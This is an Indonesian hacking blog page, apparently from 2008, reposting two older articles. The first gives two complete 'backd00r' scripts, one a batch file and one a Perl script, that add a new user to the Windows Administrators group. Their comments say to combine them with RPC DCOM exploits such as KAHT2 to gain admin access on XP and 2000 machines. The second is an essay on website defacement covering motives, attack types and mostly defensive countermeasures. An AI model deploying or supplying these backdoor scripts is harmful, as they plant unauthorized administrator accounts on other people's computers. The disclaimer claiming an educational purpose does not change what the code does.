/SCRIPTPATH:pathname Is the location of the user's logon
script.
/TIMES:{times | ALL} Is the logon hours. TIMES is expressed as
day[-day][,day[-day]],time[-time][,time
[-time]], limited to 1-hour increments.
Days can be spelled out or abbreviated.
Hours can be 12- or 24-hour notation. For
12-hour notation, use am, pm, a.m., or
p.m. ALL means a user can always log on,
and a blank value means a user can never
log on. Separate day and time entries with
a comma, and separate multiple day and time
entries with a semicolon.
/USERCOMMENT:"text" Lets an administrator add or change the User
Comment for the account.
/WORKSTATIONS:{computername[,...] | *}
Lists as many as eight computers from
which a user can log on to the network. If
/WORKSTATIONS has no list or if the list is *,
the user can log on from any computer.

NET HELP command | MORE displays Help one screen at a time.

: :berikut di cantumkan 2 buah script backd00r

[echobackd00r.bat]

cut here &<-----------------------------------------------------------

rem *echobackd00r.bat
rem *Maret 2004 - backd00r untuk XP && 2000
rem *dibuat untuk mempermudah menciptakan account admin
rem *Kombinasikan dengan SPLOITS untuk mendapatkan Account admin ex: kaht2
rem *atau masuk ke pc yang masih default dengan disket :P baca eksploits lokal
rem *cara pakai, ubah dulu USER="backdoor"
rem *cara pakai, ubah dulu PASS="password"

rem *MULAI.

@echo off
PROMPT $P$G
cls
Color 87
GOto iklan

:setting

rem *ganti USER dan PASS

set USER="backdoor"
set PASS="password"

if %USER%=="backdoor" Goto gagal else GOto proses

:proses

rem *masuk ke perintah tuk nambahin user + passwordnya

net user %USER% %PASS% /add
net localgroup Administrators %USER% /add
net localgroup Users %USER% /delete

cls
echo.
echo Account %USER% dengan password %PASS% telah berhasil di buat!
color 70

EXIT

:iklan

rem * just a banner from me :) , bisa di hilangkan :p

echo.
echo #####################################################
echo # #
echo # Echobackd00r #
echo # dibuat dan di coba oleh y3dips with XP OS #
echo # greetz to :the_day for idea, moby, z3r0byt3,comex #
echo # note: ubah USER dan PASS #
echo # #
echo #####################################################
echo.
echo tekan ENTER !!!
pause>nul

Goto setting

:gagal

echo.
echo edit file echobackd00r.bat dan ubah USER dan PASSnya
echo.

rem *SELESAI.
rem *created by y3dips : maret 2004 : http://echo.or.id

cut here &<-----------------------------------------------------------

[echobackd00r.pl > ubah ke exe dengan perl2exe]

cut here &<-----------------------------------------------------------

# echobackd00r.pl digunakan untuk membuat account admin pada Windows XP, 2000
# kombinasikan dengan sploits RPC DCOM seperti KAHT2 dsb
# ubah ke exe dengan perl2exe

#!/usr/bin/perl

printf"\n **********************************************************\n";
print " * *\n";
print " * Echobackd00r *\n";
print " * created && tested by y3dips on XP Operating Sys *\n";
print " * greetz : the_day (untuk idenya), moby, comex, z3r0byt3 *\n";
print " * echo-memberz, newbie_hacker, puji_tiwili* *\n";
print " * *\n";
printf" **********************************************************\n\n";

if(@ARGV == 2)
{

$uname = $ARGV[0];
$password = $ARGV[1];

{
system(" net user $uname $password /add ");
system(" net localgroup Administrators $uname /add ");
system(" net localgroup Users $uname /delete ");
}
}

else
{
print " [Gunakan] echobackd00r.exe username password \n";
}

EOF.

Penutup.
tulisan ini tetap seperti tulisan-tulisan terdahulu yang ditujukan
untuk pendidikan dan bertujuan untuk membukakan mata kita semua terhadap
pentingnya security, segala bentuk penyalahgunaan adalah bukan merupakan
tanggung jawab penulis .

Selengkapnya.....

Hacking = Defacing

Written by ferry89 on 20.43

Mukadimah

"ILmu tetaplah ilmu, walau berbahaya dia tetaplah ilmu yang tak pernah
layak untuk disembunyikan"
[y3dips]

Disclaimer

"Tulisan ini sepenuhnya untuk pembelajaran dan pengetahuan, semua yang
terkandung di dalamnya apabila di salahgunakan akan menjadi tanggung
jawab pribadi masing masing penggunanya."

tulisan ini berlicensi OPENCONTENT!!

Preface

Tulisan ini awalnya aku buat hanya untuk mencatat apa yang aku ketahui
sebagaimana kesenangan ku untuk mendokumentasi 'ilmu' (padahal alasan
sesungguhnya adalah aku itu cukup mudah untuk lupa : P Psssstt ), So
jadilah artikel ini yang aku rasa gak pantas untuk aku pendam sendirian.

walau aku sangat yakin artikel ini gak mungkin bisa 'sempurna', karena
kesempurnaan milik Sang Pencipta. Tetapi aku akan sangat bahagia jika
nantinya temen-temen memberi masukan atau bahkan rela mengeditnya dan
menambahkan secara bertanggung jawab untuk bersama. Adapun yang jadi
alasan kedua aku menulis tentang 'defacing' adalah karena banyaknya
peng-artian keliru dan sedikitnya pengetahuan buat itu, disini aku
sangat berharap tulisan ini meskipun sedikit,dapat memberi manfaat bagi
kita semuanya.

Tulisan ini bukan untuk mengajarkan teknik-teknik secara detil, tetapi
hanya berupa ulasan secara gamblang yang bisa aku ungkapkan dari hasil
pembelajaran yang telah aku dapatkan atau dengan kata lain "tulisan
ini adalah yang aku mampu serap" :P

Maaf apabila tata kata, perbendaharaan kata serta pengetikan tidak sesuai
dengan EYD, apalagi disertai istilah istilah yang "beken" dengan maksud
agar dapat lebih "menyentuh" :P

Semoga tulisan ini bermanfaat bagi semua!

IStilah-istilah :

" Hacking != Defacing "
" Defacing its not an 33137 works but its fun enough "

jargon file (versi 4.4.4) :

keyakinan bahwa "system-cracking" untuk kesenangan dan eksplorasi sesuai
dengan etika adalah tidak apa-apa [OK] selama seorang hacker, cracker
tetap komitmen tidak mencuri, merusak dan melanggar batas2 kerahasiaan.

Main

this site has been defaced
]--------------------------[

DONT CRY!!!

Nothing was harm ! , only your index file was deleted

>gwe<

greetz to: @1

Pernahkah anda menemukan tampilan seperti itu pada halaman sebuah situs
yang pernah anda kunjungi?atau mungkin, berbeda tulisannya saja :P,
itulah salah satu perubahan yang terjadi pada beberapa situs tertentu
atau yang di 'tentukan'.

Pendahuluan.

DEFACE [di'feis] yang berdasarkan kamus UMUM Indonesia~english* yang
aku miliki berarti merusakkan; mencemarkan; menggoresi;menghapuskan

tetapi arti kata deface disini yang sangat lekat adalah sebagai salah
satu kegiatan merubah tampilan suatu website baik halaman utama atau
index filenya ataupun halaman lain yang masih terkait dalam satu url
dengan website tersebut (bisa di folder lain atau di file lainnya)

Defacing sering diartikan hacking bagi sebagian besar masyarakat, baik
pers, awam, bahkan gak sedikit para pencandu IT . herannya lagi citra
inilah yang melekat kepada para 'hacker' yang murni mendedikasikan
hidupnya kedalam budaya hacking. budaya hacking yang jelas-jelas sangat
membangun yang dibuktikan dengan budaya 'opensource' yang berkembang
pesat (aku gak perlu menjelaskan tantang hacking sesungguhnya, silakan
baca baca di artikel artikel terdahulu).

TEtapi tentukah kejadian ini yang membuat istilah 'hacker' bagai tercoreng
oleh perlakuan beberapa 'individu'

satu hal yang perlu diingat:

'im not a hacker yet! but i'll hope i can make it someday '.

agar tidak terjadi kesalah pahaman :)

Beberapa Alasan Defacing.

1. Dendam atau perasaan gak puas*
2. Kenikmatan tersendiri, 'defacer' merasa tertantang
3. Intrik politik, Sosial dsb
4. Penyampaian pesan tertentu
5. Iseng karena gak ada kerjaan dan pengen ngetop
6. prestice dalam golongan
7. .....

sisanya tambahin sendiri ,apabila ada motif yang anda ketahui dan tidak
aku tuliskan, baik motif yang melatarbelakangi anda, saudara anda,
teman anda untuk mendeface :), atau motif-motif yang anda ketahui!

Jenis-jenis pen-Deface-an

1. full of page

artinya mendeface Satu halaman penuh tampilan depan alias file index
atau file lainnya yang akan diubah (deface) secara utuh, artinya untuk
melakukan ini biasanya seorang 'defacer' umumnya harus berhubungan
secara 'langsung' dengan box (mesin) atau usaha mendapatkan priveleged
terhadap mesin, baik itu root account or sebagainya yang memungkinkan
defacer dapat secara interaktif mengendalikan file indek dan lainnya
secara utuh.umumnya dengan memanfaatkan kelemahan kelemahan pada
services services yang berjalan di mesin, sehingga dapat melakukan
pengaksesan ke mesin.

Cara-cara yang ditempuh umumnya sama dengan step-step yang dilakukan
untuk melakukan "hack in to the machine" yang sudah banyak di tulis
dan diterjemahkan bahkan di bahas di artikel artikel yang dirilis
baik secara resmi atau 'underground' . penulis pernah membaca karya
Onno W purbo. (ini yang di inget :) )
so, karena bukan ini yang akan kita bahas pada artikel ini maka,lanjut!

ups !! ntar dulu! caranya boleh sama, hacking, defacing dan cracking,
tetapi! hasil akhirnya yang menentukan apakah itu cracker, hacker or
defacer yang melakukannya. ok!!

..... lanjut!!!.....

2. Sebagian atau hanya menambahi

artinya, defacer mendeface suatu situs tidak secara penuh, bisa hanya
dengan menampilkan beberapa kata, gambar atau penambahan script script
yang mengganggu, hal ini umumnya hanya akan memperlihatkan tampilan
file yang di deface menjadi kacau dan umumnya cukup mengganggu,
defacer biasanya mencari celah baik dari kelemahan scripting yang
digunakan dengan XSS injection (bisa merefer ke artikel yang di buat oleh
theday at http://ezine.echo.or.id) , bisa dengan SQL atau database
injection dan juga beberapa vulnerabilities yang seringkali ditemukan
pada situs situs yang dibangun dengan menggunakan CMS
(content Manajemen System)

berbagai contoh XSS dapat di lihat di berbagai web, atau bisa dilihat
di http://forum.echo.or.id bagian proof of concept disitu terdapat
beberapa contoh XSS dan metoda lainnya yang ditujukan untuk "pendidikan"
saja (pembuktian !! ).

Defacing umumnya dapat terjadi dikarenakan:

1. Kesalahan konfigurasi

Setiap kali aku membaca buku, artikel ataupun literatur tentang
'security' maka hal ini yang selalu di letakkan sebagai peyebab
utama kelemahan suatu sistem yang telah di ciptakan;

pernah dengar kata kata " firewall yang tidak di konfiguraskan
dengan baik bukanlah merupakan firewall"

jadi tidak peduli software apapun atau sistem apapun yang di akan
terapkan! maka apabila tidak di konfigurasikan dengan baik malah
akan menjadi 'bumerang' bagi sistem itu sendiri.bisa jadi sesuai
dengan istilah 'pagar makan tanaman' :P

+ cara menanggulanginya

Ada baiknya berhati hati dalam mengkonfigurasi, sesuaikan semua
kebutuhan dengan peripheral + SDM yang dimiliki untuk dapat
dihasilkan semua policy yang dahsyat!

2. kelalaian admin

Apabila Konfigurasi telah sesuai, maka faktor ' man behind the gun'
yang akan berbicara banyak; sehingga faktor internal kedua adalah
manusia yang menggelola server tersebut: adpun jenis kelalaian yang
dapat terjadi adalah :

- install file && folder
webmaster atau admin biasanya lalai dalam menghapus file
yang digunakan untuk menginstallasi portal web model CMS
ex : folder /install,dan file install.php pada phpnuke,
postnuke, phpbb, dsb

+ untuk menanggulanginnya : ada baiknya seorang administrator
membaca manual (kerjaan admin!!) modul CMS yang di gunakan
dan melakukan uji silang (cross check) alias "posisikan anda
sebagai attacker"

- file konfigurasi && permision
webmaster atau admin lupa mengatur permisi pada file file
konfigurasi yang penting, yang menyangkut administrasi dan
konfigurasi file, khususnya file-file yang mencatat
password, baik password database dsb.

ex: file config.txt, config.php, config.inc

+ untuk menanggulanginya
biasanya di gunakan perintah chmod pada file dan folder
chown dan chattr

- run of date
Terlalu lama peng-update-an suatu web atau tidak secara
terus-terusan mengupdate webnya khususnya portal yang dibundel
dalam CMS, serta juga packet packet yang terinstalasi di mesin
baik itu web server sendiri , database server dan sebagainya
yang bisa menjadi pintu masuk bagi 'defacer'.

+ untuk menanggulanginya, anda cuma perlu rajin rajin dan rutin
menggunjungi situs situs yang menyediakan update dari packet
yang digunain. (yang jelas OL mulu man!!!)

- run of services
kesalahan konfigurasi terhadap services/layanan yang diberikan
khususnya terlalu banyak menjalankan layanan yang tidak
diperlukan pada setiap server.

services ===> port

semakin banyak layanan yang di jalankan maka akan semakin
banyak port yang di gunakan untuk melayani layanan tersebut,
sehingga semakin banyak yang perlu diperhatikan. Pengkerucutan
atau minimalisir layanan adalah cara yang dapat di lakukan.

+ cara menanggulanginya
Audit semua sistem anda sebelum di 'launch' cek semua services
yang berjalan dan sesuaikan dengan kebutuhan!

- cannot keep secret
berkaitan dengan "social engineering", maka kepercayaan adalah
hal terpenting, "TRusT NO BODY" mungkin pilihan yang sangat
masuk akal dalam menanggulangi hal ini.
Pribadi dan mental seorang webmaster atau admin sangat
menentukan!

+ cara menanggulanginya , keep your own secret alias "inget man!!
lo tu admin! bukan tukang gosip yang EMBERRRR" :P

- Kurang berhati-hati saat login ke mesin dsb
Sniffing yang dilakukan dari jaringan lokal sangat berkemungkinan
untuk mendapatkan password yang di pakai oleh r00t, admin,
webmaster dsb.

+ cara menanggulanginya

setting server anda untuk menolak melakukan login baik remote
dan lokal untuk tidak menggunakan r00t ( tau gak caranya? kalo
gak!! berhenti aja jadi admin :P ), gunakan perintah substitute.
untuk login secara remote upayakan penggunaan SSH dan SSL,
beberapa konfigurasi mungkin dapat berguna untuk menanggulanginya,
baik konfigurasi pc yang boleh akses remote baik berdasar ip,
konfigurasi di jaringan, firewall dsb

- etc, goes here (lain-lain tambah disini :P) ...

3. pengkhianatan

Apabila anda sering membaca, mendengar atau berdiskusi tentang
berbagai kebocoran akibat 'social engineering' yang dilakukan,
mungkin hal ini sudah menjadi maklum bagi anda semua.Apalagi
bagi anda yang pernah membaca buku 'art of deception' karangan
kevin mitnick maka anda akan memahami betapa besarnya kebocoran
yang tercipta dari penggunaan metoda tersebut.Bayangkan jika
hal tersebut terjadi dikarenakan unsur kesengajaan ?

Mungkin terlalu sangar juga kata kata itu (hehe), tetapi apa
boleh buat, hal ini pernah terjadi bahkan sering terjadi.
mungkin juga beberapa intrik politis dan sosial sudah bergabung
didalamnya, so sangat mungkin hal ini terjadi.adapun beberapa
individu yang mungkin terkena :

1.Administrator
2.Second Admin /Staff
3.WebMaster
4.User yang terdapat di mesin Server
5......

Kenapa hal ini aku masukkan, padahal lebih nggak teknis (embeer)
ini juga patut di waspadai lho, beberapa persen kasus terjadi
di karenakan oleh perbuatan orang 'dalam'

+cara menanggulanginya

seperti perkataan teman saya , z3r0byt3 : "TRUST NO BODY" :P :)
mungkin berguna buat anda semua. ( udah 2 kali di sebut neh :P)

1. sofware vulnerabilities

Apa itu software Vulnerabilties ?

Software vulnerabilities disini adalah kelemahan, atau kesalahan yang
dimiliki oleh software/program yang dipakai baik secara sengaja
atau tidak sengaja.

Khususnya software-software Open source / atau yang berlicensi GPL,
maka tidaklah aneh apabila dalam hitungan hari, atau malah jam dapat
diketahui kelemahan suatu software. Banyak situs yang membahas dan
melaporkan vulnerabilities suatu software baik itu situs resmi
software tersebut atau situs situs keamaanan, info ini bisa menjadi '
senjata ampuh bagi para 'defacer' atau bahkan bisa menjadi perisai
ampuh bagi webmaster atau admin.

+ cara menanggulanginya

jangan jadi kuper!! alias rajin rajin browsing untuk menggunjungi situs
resmi software software yang anda gunakan , baca berita 'security'
buatlah ikatan antara diri anada dengan komunitas opensource yang kamu
pakai secara khusus dan komunitas opensource secara umum. sehingga
kamu gak merasa di tinggalkan.
jangan takut!! bisa jadi kebocoran itu ditemukan tetapi dlam waktu cepat
juga bisa ditemukan 'obatnya' :P

lakukan semua langkah langkah penting, apakah menonaktifkan fiture atau
fasilitas tertentu yang dijalankan; yang diketahui 'bolong' dan belum
dimiliki atau di temukan patchnya.
atau diskusikan!! you have the community now!

2. sistem vulnerabilities

Sistem vulnerabilities?

mungkin hanya penggunaan kata yang sedikit pribadi sehingga memisahkan
sistem dan software. pemisahan ini hanya agar membuat kita lebih jelas.
baiklah!, apa yang aku maksud sistem disini adalah ? bisa disebut
sistem operasi dari server khususnya 'kernel' yang dikembangkan oleh
pengembang khusus kernel (http://kernel.org) sehingga bukannya tidak
mungkin kebocoran ini di perbaiki oleh selain developer, tetapi umumnya
untuk semua OS yang di gunakan (apalagi win****) maka versi 'stable'
lah yang di tunggu tunggu!

kenapa? apabila kita menggunakan Bind dan ternyata tidak stabil kita bisa
gunakan DJBDNS, kalo postfix masih vulnerable kita bisa cepat cepat beralih
ke qmail, tapi kalo kernel belum stabil maka?

vulnerablenya suatu kernel biasanya berpengaruh pada versi versi dibawahnya
sehingga kemunggkinan penggunaan kernel versi lain pun akan mustahil.

kasus seperti ini cukup jarang, umumnya cara yang ditempuh bisa dilakukan
secara lokal /local exsploit (kasus yang terjadi baru baru ini : mremap)
kecuali* exploitasi pada 'DCOM RPC' yang berakibat kesalahan itu bisa
di eksploitasi secara remote dan berbahaya sekali bagi mesin dikarenakan
akan memberikan akses administrator (baca eksploitasi pada DCOM RPC win*)

+ cara menanggulanginya

1. seperti biasa pergi ke situs penyedia sistem operasi (kernel) untuk info
dan patch yang disediakan
2. ke situs-situs 'security , cari kelemahannya usahakan melakukan
penanggulangan semampunya.
3. Diskusikan di komunitas

3. run of control

Run of control disini aku maksudkan sebagai suatu kesulitan untuk melakukan
Kontrol terhadap beberapa metoda serangan tertentu oleh administrator , hal
ini bisa dikarenakan penggunaan beberapa fasilitas atau metode serangan
yang cukup relatif sulit untuk di elakkan.

serangan-serangan ini sangat umum di ketahui, diantaranya:

1. Brute forcing

Brute force attack adalah jenis serangan yang dilakukan dengan melakukan
berbagai bentuk kombinasi karakter yang akan di cobakan sebagai password
detil soal BFA (brute force attack) dapat di baca pada artikel artikel
yang khusus membahas soal bruteforcing.

metode ini mungkin yang paling kekal, alias sudah lama tetapi tetap dipakai
dikarenakan kelebihannya yaitu tidak perlu mengetahui sistem enkripsi, atau
metod apengamanan khususnya untuk login. tetapi memiliki berbagai '
keterbatasan tersendiri, baik dalam hal kecepatan khususnya.

ex : penggunaan brutus sebagai program yang cukup ampuh untuk membrute
password baik, ftp, http, smtp dsb

2. Dictionarry attack

kenapa aku buat terpisah dengan Brute forcing, dikarenakan metode ini
menggunakan kamus kata yang sering di gunakan, walau tetap memiliki
prinsip yang sama dengan Brute forcing. target serangan ini adalah
password , atau bis adikatakan attack terhadap authentication

3. DOS attack

Denial of Service adalah aktifitas menghambat kerja sebuah layanan (servis)
atau mematikan-nya, sehingga user yang berhak/berkepentingan tidak dapat
menggunakan layanan tersebut. Dampak akhir dari aktifitas ini menjurus
kepada tehambatnya aktifitas korban yang dapat berakibat sangat fatal
(dalam kasus tertentu)

kenapa serangan ini aku masukkan karena salah satu tujuan dari kegiatan
defacing adalah untuk melakukan kegiatan yang mengakibatkan user kesulitan
mendapatkan info dari situs situs yang vital, seperti situs surat kabar,
perbankan, pemerintahan, dsb

apabila terlalu sulit untuk merubah tampilannya (deface) maka tak jarang
situs tersebut di buat ' tidur' (downkan) agar tak bisa beraktivitas dan
menghambat interaksi terhadap user/pelanggan.

pembahasan mengenai DOS dan DDOS dapat dilihat di artikel yang ditulis
oleh moby (url : http://ezine.echo.or.id) baik apa itu dos, jenisnya
software dan cara menanggulanginya.

adapun kelemahan metode ini adalah penggunaan resource secara 'boros' yang
secara tidak langsung akan menyulitkan 'attacker' itu sendiri

4. Sniffing.
kegiatan ini cukup berbahaya, seperti saya bahas di atas. Kegiatan ini
sulit di elakkan, tetapi dapat di tanggulangi dengan beberapa cara di atas.

biasanya di gunakan ettercap, ethereal, dsb

5. Scanning yang dilakukan baik terhadap mesin, port protokol dan services
yang dijalankan.

+ dapat di tanggulangi dengan menggunakan portsentry (*nix)

5. etc goes here..

End.
akhirnya....berhasil juga aku susun dan tuliskan semua yang telah dapat
aku serap selama ini, segala kekurangan dan kesalahan mohon dimaklumi.
jika berniat memberikan kritik dan saran dapat di tujukan ke
y3dips@echo.or.id

PENUTUP

Tulisan ini ditulis selama kurang lebih 4 pekan disertai keragu-raguan
untuk dipublikasikan !! :P
mulai ditulis pada : Friday, January 30, 2004, 5:05:05 AM diselesaikan
pada Monday, February 23, 2004, 6:20:04 AM

berharap dapat di sempurnakan di versi selanjutnya
(khusunya dengan bantuan teman-teman)

REFERENSI

*otak dan kecerdasan yang diberikan TUHAN yang maha tunggal !
semua url yang pernah dikunjungi
semua artikel, e-book, buku, literatur , faq, howto yang pernah dipelajari
semua teknik yang pernah di coba ,dilakukan dan di baca :P
semua guru, suhu, wizzard yang pernah mengajarkan
semua teman diskusi yang pernah di ajak berdiskusi dan bertukar pikiran
dan berbagai sumber yang tidak bisa disebutkan satu persatu

Selengkapnya.....

Langganan: Postingan (Atom)

Anda adalah Pengunjung no...

Immobilien
Blog Archive
▼ 2008 (52)

▼ 12/14 - 12/21 (1)

Java Emulator dengan Tampilan Layar Lebih BesarSjb...

► 03/09 - 03/16 (2)

► 03/02 - 03/09 (20)

► 02/17 - 02/24 (12)

► 02/10 - 02/17 (17)
Categories
- Hacking (17)
Your Own Link Here

See My Profile

ferry89

Lihat profil lengkapku

Recent Posts

Comment

<a href="http://www2.shoutmix.com/?ferryimut">View shoutbox</a>
Free chat widget @ ShoutMix